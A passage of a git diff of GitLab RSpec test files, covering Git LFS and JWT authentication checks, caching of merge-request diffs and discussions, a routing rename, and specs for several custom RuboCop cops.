diff --git a/spec/requests/jwt_controller_spec.rb b/spec/requests/jwt_controller_spec.rb
index 5b5658da97e..55577a5dc65 100644
--- a/spec/requests/jwt_controller_spec.rb
+++ b/spec/requests/jwt_controller_spec.rb
@@ -227,6 +227,7 @@ RSpec.describe JwtController do
let_it_be(:group_deploy_token) { create(:deploy_token, :group, groups: [group]) }
let_it_be(:project_deploy_token) { create(:deploy_token, :project, projects: [project]) }
let_it_be(:service_name) { 'dependency_proxy' }
+
let(:headers) { { authorization: credentials(credential_user, credential_password) } }
let(:params) { { account: credential_user, client_id: 'docker', offline_token: true, service: service_name } }
diff --git a/spec/requests/lfs_http_spec.rb b/spec/requests/lfs_http_spec.rb
index fda8b2ecec6..02eb4262690 100644
--- a/spec/requests/lfs_http_spec.rb
+++ b/spec/requests/lfs_http_spec.rb
@@ -105,6 +105,7 @@ RSpec.describe 'Git LFS API and storage' do
context 'when deploy key is authorized' do
let_it_be(:key) { create(:deploy_key) }
+
let(:authorization) { authorize_deploy_key }
before do
@@ -125,7 +126,7 @@ RSpec.describe 'Git LFS API and storage' do
it_behaves_like 'LFS http 200 blob response'
context 'when user password is expired' do
- let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago, password_automatically_set: true)}
it_behaves_like 'LFS http 401 response'
end
@@ -343,7 +344,8 @@ RSpec.describe 'Git LFS API and storage' do
end
context 'when user password is expired' do
- let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago, password_automatically_set: true)}
+
let(:role) { :reporter}
it_behaves_like 'LFS http 401 response'
@@ -351,6 +353,7 @@ RSpec.describe 'Git LFS API and storage' do
context 'when user is blocked' do
let_it_be(:user) { create(:user, :blocked)}
+
let(:role) { :reporter}
it_behaves_like 'LFS http 401 response'
@@ -405,6 +408,7 @@ RSpec.describe 'Git LFS API and storage' do
context 'administrator', :enable_admin_mode do
let_it_be(:user) { create(:admin) }
+
let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
it_behaves_like 'can download LFS only from own projects', renew_authorization: true
@@ -458,6 +462,7 @@ RSpec.describe 'Git LFS API and storage' do
describe 'upload' do
let_it_be(:project) { create(:project, :public) }
+
let(:body) { upload_body(sample_object) }
shared_examples 'pushes new LFS objects' do |renew_authorization:|
@@ -569,7 +574,7 @@ RSpec.describe 'Git LFS API and storage' do
let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
# I'm not sure what this tests that is different from the previous test
- it_behaves_like 'LFS http 404 response'
+ it_behaves_like 'LFS http 403 response'
end
end
@@ -953,7 +958,7 @@ RSpec.describe 'Git LFS API and storage' do
it_behaves_like 'LFS http 200 workhorse response'
context 'when user password is expired' do
- let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago, password_automatically_set: true) }
it_behaves_like 'LFS http 401 response'
end
@@ -984,6 +989,7 @@ RSpec.describe 'Git LFS API and storage' do
describe 'to a forked project' do
let_it_be(:upstream_project) { create(:project, :public) }
let_it_be(:project_owner) { create(:user) }
+
let(:project) { fork_project(upstream_project, project_owner) }
describe 'when user is authenticated' do
@@ -1043,7 +1049,7 @@ RSpec.describe 'Git LFS API and storage' do
let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
# I'm not sure what this tests that is different from the previous test
- it_behaves_like 'LFS http 404 response'
+ it_behaves_like 'LFS http 403 response'
end
end
diff --git a/spec/requests/product_analytics/collector_app_spec.rb b/spec/requests/product_analytics/collector_app_spec.rb
index b87610841e7..0d55d167a6f 100644
--- a/spec/requests/product_analytics/collector_app_spec.rb
+++ b/spec/requests/product_analytics/collector_app_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'ProductAnalytics::CollectorApp' do
let_it_be(:project) { create(:project) }
+
let(:params) { {} }
let(:raw_event) { Gitlab::Json.parse(fixture_file('product_analytics/event.json')) }
diff --git a/spec/requests/projects/merge_requests/diffs_spec.rb b/spec/requests/projects/merge_requests/diffs_spec.rb
new file mode 100644
index 00000000000..3a64c88acc1
--- /dev/null
+++ b/spec/requests/projects/merge_requests/diffs_spec.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Merge Requests Diffs' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
+
+ before do
+ project.add_maintainer(user)
+ sign_in(user)
+ end
+
+ describe 'GET diffs_batch' do
+ let(:headers) { {} }
+
+ shared_examples_for 'serializes diffs with expected arguments' do
+ it 'serializes paginated merge request diff collection' do
+ expect_next_instance_of(PaginatedDiffSerializer) do |instance|
+ expect(instance).to receive(:represent)
+ .with(an_instance_of(collection), expected_options)
+ .and_call_original
+ end
+
+ subject
+ end
+ end
+
+ def collection_arguments(pagination_data = {})
+ {
+ environment: nil,
+ merge_request: merge_request,
+ diff_view: :inline,
+ merge_ref_head_diff: nil,
+ pagination_data: {
+ total_pages: nil
+ }.merge(pagination_data)
+ }
+ end
+
+ def go(extra_params = {})
+ params = {
+ namespace_id: project.namespace.to_param,
+ project_id: project,
+ id: merge_request.iid,
+ page: 0,
+ per_page: 20,
+ format: 'json'
+ }
+
+ get diffs_batch_namespace_project_json_merge_request_path(params.merge(extra_params)), headers: headers
+ end
+
+ context 'with caching', :use_clean_rails_memory_store_caching do
+ subject { go(page: 0, per_page: 5) }
+
+ context 'when the request has not been cached' do
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
+ end
+ end
+
+ context 'when the request has already been cached' do
+ before do
+ go(page: 0, per_page: 5)
+ end
+
+ it 'does not serialize diffs' do
+ expect_next_instance_of(PaginatedDiffSerializer) do |instance|
+ expect(instance).not_to receive(:represent)
+ end
+
+ subject
+ end
+
+ context 'with the different pagination option' do
+ subject { go(page: 5, per_page: 5) }
+
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
+ end
+ end
+
+ context 'with the different diff_view' do
+ subject { go(page: 0, per_page: 5, view: :parallel) }
+
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
+ let(:expected_options) { collection_arguments(total_pages: 20).merge(diff_view: :parallel) }
+ end
+ end
+
+ context 'with the different expanded option' do
+ subject { go(page: 0, per_page: 5, expanded: true ) }
+
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
+ end
+ end
+
+ context 'with the different ignore_whitespace_change option' do
+ subject { go(page: 0, per_page: 5, w: 1) }
+
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::Compare }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
+ end
+ end
+ end
+
+ context 'when the paths is given' do
+ subject { go(page: 0, per_page: 5, paths: %w[README CHANGELOG]) }
+
+ it 'does not use cache' do
+ expect(Rails.cache).not_to receive(:fetch).with(/cache:gitlab:PaginatedDiffSerializer/).and_call_original
+
+ subject
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/projects/merge_requests_discussions_spec.rb b/spec/requests/projects/merge_requests_discussions_spec.rb
index eb8cf9f797d..595222a9eb2 100644
--- a/spec/requests/projects/merge_requests_discussions_spec.rb
+++ b/spec/requests/projects/merge_requests_discussions_spec.rb
@@ -52,5 +52,144 @@ RSpec.describe 'merge requests discussions' do
expect { send_request }
.to change { Gitlab::GitalyClient.get_request_count }.by_at_most(4)
end
+
+ context 'caching', :use_clean_rails_memory_store_caching do
+ let!(:first_note) { create(:diff_note_on_merge_request, noteable: merge_request, project: project) }
+ let!(:second_note) { create(:diff_note_on_merge_request, in_reply_to: first_note, noteable: merge_request, project: project) }
+ let!(:award_emoji) { create(:award_emoji, awardable: first_note) }
+
+ before do
+ # Make a request to cache the discussions
+ send_request
+ end
+
+ shared_examples 'cache miss' do
+ it 'does not hit a warm cache' do
+ expect_next_instance_of(DiscussionSerializer) do |serializer|
+ expect(serializer).to receive(:represent) do |arg|
+ expect(arg.notes).to contain_exactly(*changed_notes)
+ end.and_call_original
+ end
+
+ send_request
+ end
+ end
+
+ it 'gets cached on subsequent requests' do
+ expect_next_instance_of(DiscussionSerializer) do |serializer|
+ expect(serializer).not_to receive(:represent)
+ end
+
+ send_request
+ end
+
+ context 'when a note in a discussion got updated' do
+ before do
+ first_note.update!(updated_at: 1.minute.from_now)
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when a note in a discussion got resolved' do
+ before do
+ travel_to(1.minute.from_now) do
+ first_note.resolve!(user)
+ end
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when a note is added to a discussion' do
+ let!(:third_note) { create(:diff_note_on_merge_request, in_reply_to: first_note, noteable: merge_request, project: project) }
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note, third_note] }
+ end
+ end
+
+ context 'when a note is removed from a discussion' do
+ before do
+ second_note.destroy!
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note] }
+ end
+ end
+
+ context 'when an emoji is awarded to a note in discussion' do
+ before do
+ travel_to(1.minute.from_now) do
+ create(:award_emoji, awardable: first_note)
+ end
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when an award emoji is removed from a note in discussion' do
+ before do
+ travel_to(1.minute.from_now) do
+ award_emoji.destroy!
+ end
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when cached markdown version gets bump' do
+ before do
+ settings = Gitlab::CurrentSettings.current_application_settings
+ settings.update!(local_markdown_version: settings.local_markdown_version + 1)
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when the diff note position changes' do
+ before do
+ # This replicates a position change wherein timestamps aren't updated
+ # which is why `Gitlab::Timeless.timeless` is utilized. This is the
+ # same approach being used in Discussions::UpdateDiffPositionService
+ # which is responsible for updating the positions of diff discussions
+ # when MR updates.
+ first_note.position = Gitlab::Diff::Position.new(
+ old_path: first_note.position.old_path,
+ new_path: first_note.position.new_path,
+ old_line: first_note.position.old_line,
+ new_line: first_note.position.new_line + 1,
+ diff_refs: first_note.position.diff_refs
+ )
+
+ Gitlab::Timeless.timeless(first_note, &:save)
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+
+ context 'when merge_request_discussion_cache is disabled' do
+ before do
+ stub_feature_flags(merge_request_discussion_cache: false)
+ end
+
+ it_behaves_like 'cache miss' do
+ let(:changed_notes) { [first_note, second_note] }
+ end
+ end
+ end
end
end
diff --git a/spec/requests/rack_attack_global_spec.rb b/spec/requests/rack_attack_global_spec.rb
index f24f815e9c6..f7b1b4726f6 100644
--- a/spec/requests/rack_attack_global_spec.rb
+++ b/spec/requests/rack_attack_global_spec.rb
@@ -221,6 +221,7 @@ RSpec.describe 'Rack Attack global throttles', :use_clean_rails_memory_store_cac
let_it_be(:token) { create(:personal_access_token, user: user) }
let_it_be(:other_user) { create(:user) }
let_it_be(:other_user_token) { create(:personal_access_token, user: other_user) }
+
let(:throttle_setting_prefix) { 'throttle_authenticated_api' }
let(:api_partial_url) { '/todos' }
diff --git a/spec/routing/project_routing_spec.rb b/spec/routing/project_routing_spec.rb
index fe04a1d7c4a..f3d0179ffdd 100644
--- a/spec/routing/project_routing_spec.rb
+++ b/spec/routing/project_routing_spec.rb
@@ -770,13 +770,13 @@ RSpec.describe 'project routing' do
end
end
- describe Projects::UsagePingController, 'routing' do
- it 'routes to usage_ping#web_ide_clientside_preview' do
- expect(post('/gitlab/gitlabhq/usage_ping/web_ide_clientside_preview')).to route_to('projects/usage_ping#web_ide_clientside_preview', namespace_id: 'gitlab', project_id: 'gitlabhq')
+ describe Projects::ServicePingController, 'routing' do
+ it 'routes to service_ping#web_ide_clientside_preview' do
+ expect(post('/gitlab/gitlabhq/service_ping/web_ide_clientside_preview')).to route_to('projects/service_ping#web_ide_clientside_preview', namespace_id: 'gitlab', project_id: 'gitlabhq')
end
- it 'routes to usage_ping#web_ide_pipelines_count' do
- expect(post('/gitlab/gitlabhq/usage_ping/web_ide_pipelines_count')).to route_to('projects/usage_ping#web_ide_pipelines_count', namespace_id: 'gitlab', project_id: 'gitlabhq')
+ it 'routes to service_ping#web_ide_pipelines_count' do
+ expect(post('/gitlab/gitlabhq/service_ping/web_ide_pipelines_count')).to route_to('projects/service_ping#web_ide_pipelines_count', namespace_id: 'gitlab', project_id: 'gitlabhq')
end
end
diff --git a/spec/rubocop/code_reuse_helpers_spec.rb b/spec/rubocop/code_reuse_helpers_spec.rb
index 9337df368e3..695c152e3db 100644
--- a/spec/rubocop/code_reuse_helpers_spec.rb
+++ b/spec/rubocop/code_reuse_helpers_spec.rb
@@ -150,6 +150,31 @@ RSpec.describe RuboCop::CodeReuseHelpers do
end
end
+ describe '#in_graphql_types?' do
+ %w[
+ app/graphql/types
+ ee/app/graphql/ee/types
+ ee/app/graphql/types
+ ].each do |path|
+ it "returns true for a node in #{path}" do
+ node = build_and_parse_source('10', rails_root_join(path, 'foo.rb'))
+
+ expect(cop.in_graphql_types?(node)).to eq(true)
+ end
+ end
+
+ %w[
+ app/graphql/resolvers
+ app/foo
+ ].each do |path|
+ it "returns true for a node in #{path}" do
+ node = build_and_parse_source('10', rails_root_join(path, 'foo.rb'))
+
+ expect(cop.in_graphql_types?(node)).to eq(false)
+ end
+ end
+ end
+
describe '#in_api?' do
it 'returns true for a node in the API directory' do
node = build_and_parse_source('10', rails_root_join('lib', 'api', 'foo.rb'))
@@ -164,25 +189,67 @@ RSpec.describe RuboCop::CodeReuseHelpers do
end
end
- describe '#in_directory?' do
+ describe '#in_spec?' do
+ it 'returns true for a node in the spec directory' do
+ node = build_and_parse_source('10', rails_root_join('spec', 'foo.rb'))
+
+ expect(cop.in_spec?(node)).to eq(true)
+ end
+
+ it 'returns true for a node in the ee/spec directory' do
+ node = build_and_parse_source('10', rails_root_join('ee', 'spec', 'foo.rb'))
+
+ expect(cop.in_spec?(node)).to eq(true)
+ end
+
+ it 'returns false for a node outside the spec directory' do
+ node = build_and_parse_source('10', rails_root_join('lib', 'foo.rb'))
+
+ expect(cop.in_spec?(node)).to eq(false)
+ end
+ end
+
+ describe '#in_app_directory?' do
it 'returns true for a directory in the CE app/ directory' do
node = build_and_parse_source('10', rails_root_join('app', 'models', 'foo.rb'))
- expect(cop.in_directory?(node, 'models')).to eq(true)
+ expect(cop.in_app_directory?(node, 'models')).to eq(true)
end
it 'returns true for a directory in the EE app/ directory' do
node =
build_and_parse_source('10', rails_root_join('ee', 'app', 'models', 'foo.rb'))
- expect(cop.in_directory?(node, 'models')).to eq(true)
+ expect(cop.in_app_directory?(node, 'models')).to eq(true)
end
it 'returns false for a directory in the lib/ directory' do
node =
build_and_parse_source('10', rails_root_join('lib', 'models', 'foo.rb'))
- expect(cop.in_directory?(node, 'models')).to eq(false)
+ expect(cop.in_app_directory?(node, 'models')).to eq(false)
+ end
+ end
+
+ describe '#in_lib_directory?' do
+ it 'returns true for a directory in the CE lib/ directory' do
+ node = build_and_parse_source('10', rails_root_join('lib', 'models', 'foo.rb'))
+
+ expect(cop.in_lib_directory?(node, 'models')).to eq(true)
+ end
+
+ it 'returns true for a directory in the EE lib/ directory' do
+ node =
+ build_and_parse_source('10', rails_root_join('ee', 'lib', 'models', 'foo.rb'))
+
+ expect(cop.in_lib_directory?(node, 'models')).to eq(true)
+ end
+
+ it 'returns false for a directory in the app/ directory' do
+ node =
+ build_and_parse_source('10', rails_root_join('app', 'models', 'foo.rb'))
+
+ expect(cop.in_lib_directory?(node, 'models')).to eq(false)
end
end
diff --git a/spec/rubocop/cop/database/multiple_databases_spec.rb b/spec/rubocop/cop/database/multiple_databases_spec.rb
new file mode 100644
index 00000000000..16b916d61db
--- /dev/null
+++ b/spec/rubocop/cop/database/multiple_databases_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative '../../../../rubocop/cop/database/multiple_databases'
+
+RSpec.describe RuboCop::Cop::Database::MultipleDatabases do
+ subject(:cop) { described_class.new }
+
+ it 'flags the use of ActiveRecord::Base.connection' do
+ expect_offense(<<~SOURCE)
+ ActiveRecord::Base.connection.inspect
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Do not use methods from ActiveRecord::Base, [...]
+ SOURCE
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/mark_used_feature_flags_spec.rb b/spec/rubocop/cop/gitlab/mark_used_feature_flags_spec.rb
new file mode 100644
index 00000000000..968cafc57d4
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/mark_used_feature_flags_spec.rb
@@ -0,0 +1,233 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/mark_used_feature_flags'
+
+RSpec.describe RuboCop::Cop::Gitlab::MarkUsedFeatureFlags do
+ let(:defined_feature_flags) do
+ %w[a_feature_flag foo_hello foo_world baz_experiment_percentage bar_baz]
+ end
+
+ subject(:cop) { described_class.new }
+
+ before do
+ stub_const("#{described_class}::DYNAMIC_FEATURE_FLAGS", [])
+ allow(cop).to receive(:defined_feature_flags).and_return(defined_feature_flags)
+ allow(cop).to receive(:usage_data_counters_known_event_feature_flags).and_return([])
+ end
+
+ def feature_flag_path(feature_flag_name)
+ File.expand_path("../../../../tmp/feature_flags/#{feature_flag_name}.used", __dir__)
+ end
+
+ shared_examples 'sets flag as used' do |method_call, flags_to_be_set|
+ it 'sets the flag as used' do
+ Array(flags_to_be_set).each do |flag_to_be_set|
+ expect(FileUtils).to receive(:touch).with(feature_flag_path(flag_to_be_set))
+ end
+
+ expect_no_offenses(<<~RUBY)
+ class Foo < ApplicationRecord
+ #{method_call}
+ end
+ RUBY
+ end
+ end
+
+ shared_examples 'does not set any flags as used' do |method_call|
+ it 'sets the flag as used' do
+ expect(FileUtils).not_to receive(:touch)
+
+ expect_no_offenses(method_call)
+ end
+ end
+
+ %w[
+ Feature.enabled?
+ Feature.disabled?
+ push_frontend_feature_flag
+ ].each do |feature_flag_method|
+ context "#{feature_flag_method} method" do
+ context 'a string feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("foo")|, 'foo'
+ end
+
+ context 'a symbol feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:foo)|, 'foo'
+ end
+
+ context 'an interpolated string feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated symbol feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:"foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'a string with a "/" in it' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("bar/baz")|, 'bar_baz'
+ end
+
+ context 'an interpolated string feature flag with a string prefix and suffix' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(:"foo_\#{bar}_baz")|
+ end
+
+ context 'a dynamic string feature flag as a variable' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(a_variable, an_arg)|
+ end
+
+ context 'an integer feature flag' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(123)|
+ end
+ end
+ end
+
+ %w[
+ Feature::Gitaly.enabled?
+ Feature::Gitaly.disabled?
+ ].each do |feature_flag_method|
+ context "#{feature_flag_method} method" do
+ context 'a string feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("foo")|, 'gitaly_foo'
+ end
+
+ context 'a symbol feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:foo)|, 'gitaly_foo'
+ end
+
+ context 'an interpolated string feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated symbol feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:"foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated string feature flag with a string prefix and suffix' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(:"foo_\#{bar}_baz")|
+ end
+
+ context 'a dynamic string feature flag as a variable' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(a_variable, an_arg)|
+ end
+
+ context 'an integer feature flag' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(123)|
+ end
+ end
+ end
+
+ %w[
+ experiment
+ experiment_enabled?
+ push_frontend_experiment
+ Gitlab::Experimentation.active?
+ ].each do |feature_flag_method|
+ context "#{feature_flag_method} method" do
+ context 'a string feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("baz")|, %w[baz baz_experiment_percentage]
+ end
+
+ context 'a symbol feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:baz)|, %w[baz baz_experiment_percentage]
+ end
+
+ context 'an interpolated string feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}("foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated symbol feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(:"foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated string feature flag with a string prefix and suffix' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(:"foo_\#{bar}_baz")|
+ end
+
+ context 'a dynamic string feature flag as a variable' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(a_variable, an_arg)|
+ end
+
+ context 'an integer feature flag' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(123)|
+ end
+ end
+ end
+
+ %w[
+ use_rugged?
+ ].each do |feature_flag_method|
+ context "#{feature_flag_method} method" do
+ context 'a string feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(arg, "baz")|, 'baz'
+ end
+
+ context 'a symbol feature flag' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(arg, :baz)|, 'baz'
+ end
+
+ context 'an interpolated string feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(arg, "foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated symbol feature flag with a string prefix' do
+ include_examples 'sets flag as used', %Q|#{feature_flag_method}(arg, :"foo_\#{bar}")|, %w[foo_hello foo_world]
+ end
+
+ context 'an interpolated string feature flag with a string prefix and suffix' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(arg, :"foo_\#{bar}_baz")|
+ end
+
+ context 'a dynamic string feature flag as a variable' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(a_variable, an_arg)|
+ end
+
+ context 'an integer feature flag' do
+ include_examples 'does not set any flags as used', %Q|#{feature_flag_method}(arg, 123)|
+ end
+ end
+ end
+
+ describe 'self.limit_feature_flag = :foo' do
+ include_examples 'sets flag as used', 'self.limit_feature_flag = :foo', 'foo'
+ end
+
+ describe 'FEATURE_FLAG = :foo' do
+ include_examples 'sets flag as used', 'FEATURE_FLAG = :foo', 'foo'
+ end
+
+ describe 'Worker `data_consistency` method' do
+ include_examples 'sets flag as used', 'data_consistency :delayed, feature_flag: :foo', 'foo'
+ include_examples 'does not set any flags as used', 'data_consistency :delayed'
+ end
+
+ describe 'Worker `deduplicate` method' do
+ include_examples 'sets flag as used', 'deduplicate :delayed, feature_flag: :foo', 'foo'
+ include_examples 'does not set any flags as used', 'deduplicate :delayed'
+ end
+
+ describe 'GraphQL `field` method' do
+ before do
+ allow(cop).to receive(:in_graphql_types?).and_return(true)
+ end
+
+ include_examples 'sets flag as used', 'field :runners, Types::Ci::RunnerType.connection_type, null: true, feature_flag: :foo', 'foo'
+ include_examples 'sets flag as used', 'field :runners, null: true, feature_flag: :foo', 'foo'
+ include_examples 'does not set any flags as used', 'field :solution'
+ include_examples 'does not set any flags as used', 'field :runners, Types::Ci::RunnerType.connection_type'
+ include_examples 'does not set any flags as used', 'field :runners, Types::Ci::RunnerType.connection_type, null: true, description: "hello world"'
+ include_examples 'does not set any flags as used', 'field :solution, type: GraphQL::STRING_TYPE, null: true, description: "URL to the vulnerabilitys details page."'
+ end
+
+ describe "tracking of usage data metrics known events happens at the beginning of inspection" do
+ let(:usage_data_counters_known_event_feature_flags) { ['an_event_feature_flag'] }
+
+ before do
+ allow(cop).to receive(:usage_data_counters_known_event_feature_flags).and_return(usage_data_counters_known_event_feature_flags)
+ end
+
+ include_examples 'sets flag as used', "FEATURE_FLAG = :foo", %w[foo an_event_feature_flag]
+ end
+end
diff --git a/spec/rubocop/cop/migration/prevent_index_creation_spec.rb b/spec/rubocop/cop/migration/prevent_index_creation_spec.rb
new file mode 100644
index 00000000000..a3965f54bbd
--- /dev/null
+++ b/spec/rubocop/cop/migration/prevent_index_creation_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative '../../../../rubocop/cop/migration/prevent_index_creation'
+
+RSpec.describe RuboCop::Cop::Migration::PreventIndexCreation do
+ subject(:cop) { described_class.new }
+
+ context 'when in migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ end
+
+ context 'when adding an index to a forbidden table' do
+ it 'registers an offense when add_index is used' do
+ expect_offense(<<~RUBY)
+ def change
+ add_index :ci_builds, :protected
+ ^^^^^^^^^ Adding new index to ci_builds is forbidden, see https://gitlab.com/gitlab-org/gitlab/-/issues/332886
+ end
+ RUBY
+ end
+
+ it 'registers an offense when add_concurrent_index is used' do
+ expect_offense(<<~RUBY)
+ def change
+ add_concurrent_index :ci_builds, :protected
+ ^^^^^^^^^^^^^^^^^^^^ Adding new index to ci_builds is forbidden, see https://gitlab.com/gitlab-org/gitlab/-/issues/332886
+ end
+ RUBY
+ end
+ end
+
+ context 'when adding an index to a regular table' do
+ it 'does not register an offense' do
+ expect_no_offenses(<<~RUBY)
+ def change
+ add_index :ci_pipelines, :locked
+ end
+ RUBY
+ end
+ end
+ end
+
+ context 'when outside of migration' do
+ it 'does not register an offense' do
+ expect_no_offenses('def change; add_index :table, :column; end')
+ end
+ end
+end
diff --git a/spec/rubocop/cop/migration/sidekiq_queue_migrate_spec.rb b/spec/rubocop/cop/migration/sidekiq_queue_migrate_spec.rb
new file mode 100644
index 00000000000..499351b3585
--- /dev/null
+++ b/spec/rubocop/cop/migration/sidekiq_queue_migrate_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative '../../../../rubocop/cop/migration/sidekiq_queue_migrate'
+
+RSpec.describe RuboCop::Cop::Migration::SidekiqQueueMigrate do
+ subject(:cop) { described_class.new }
+
+ def source(meth = 'change')
+ "def #{meth}; sidekiq_queue_migrate 'queue', to: 'new_queue'; end"
+ end
+
+ context 'when in a regular migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ allow(cop).to receive(:in_post_deployment_migration?).and_return(false)
+ end
+
+ %w(up down change any_other_method).each do |method_name|
+ it "registers an offense when sidekiq_queue_migrate is used in ##{method_name}" do
+ expect_offense(<<~RUBY)
+ def #{method_name}
+ sidekiq_queue_migrate 'queue', to: 'new_queue'
+ ^^^^^^^^^^^^^^^^^^^^^ `sidekiq_queue_migrate` must only be used in post-deployment migrations
+ end
+ RUBY
+ end
+ end
+ end
+
+ context 'when in a post-deployment migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ allow(cop).to receive(:in_post_deployment_migration?).and_return(true)
+ end
+
+ it 'registers no offense' do
+ expect_no_offenses(source)
+ end
+ end
+
+ context 'when outside of a migration' do
+ it 'registers no offense' do
+ expect_no_offenses(source)
+ end
+ end
+end
diff --git a/spec/rubocop/cop/worker_data_consistency_spec.rb b/spec/rubocop/cop/worker_data_consistency_spec.rb
new file mode 100644
index 00000000000..5fa42bf2b87
--- /dev/null
+++ b/spec/rubocop/cop/worker_data_consistency_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative '../../../rubocop/cop/worker_data_consistency'
+
+RSpec.describe RuboCop::Cop::WorkerDataConsistency do
+ subject(:cop) { described_class.new }
+
+ before do
+ allow(cop)
+ .to receive(:in_worker?)
+ .and_return(true)
+ end
+
+ it 'adds an offense when not defining data_consistency' do
+ expect_offense(<<~CODE)
+ class SomeWorker
+ ^^^^^^^^^^^^^^^^ Should define data_consistency expectation.[...]
+ include ApplicationWorker
+
+ queue_namespace :pipeline_hooks
+ feature_category :continuous_integration
+ urgency :high
+ end
+ CODE
+ end
+
+ it 'adds no offense when defining data_consistency' do
+ expect_no_offenses(<<~CODE)
+ class SomeWorker
+ include ApplicationWorker
+
+ queue_namespace :pipeline_hooks
+ feature_category :continuous_integration
+ data_consistency :delayed
+ urgency :high
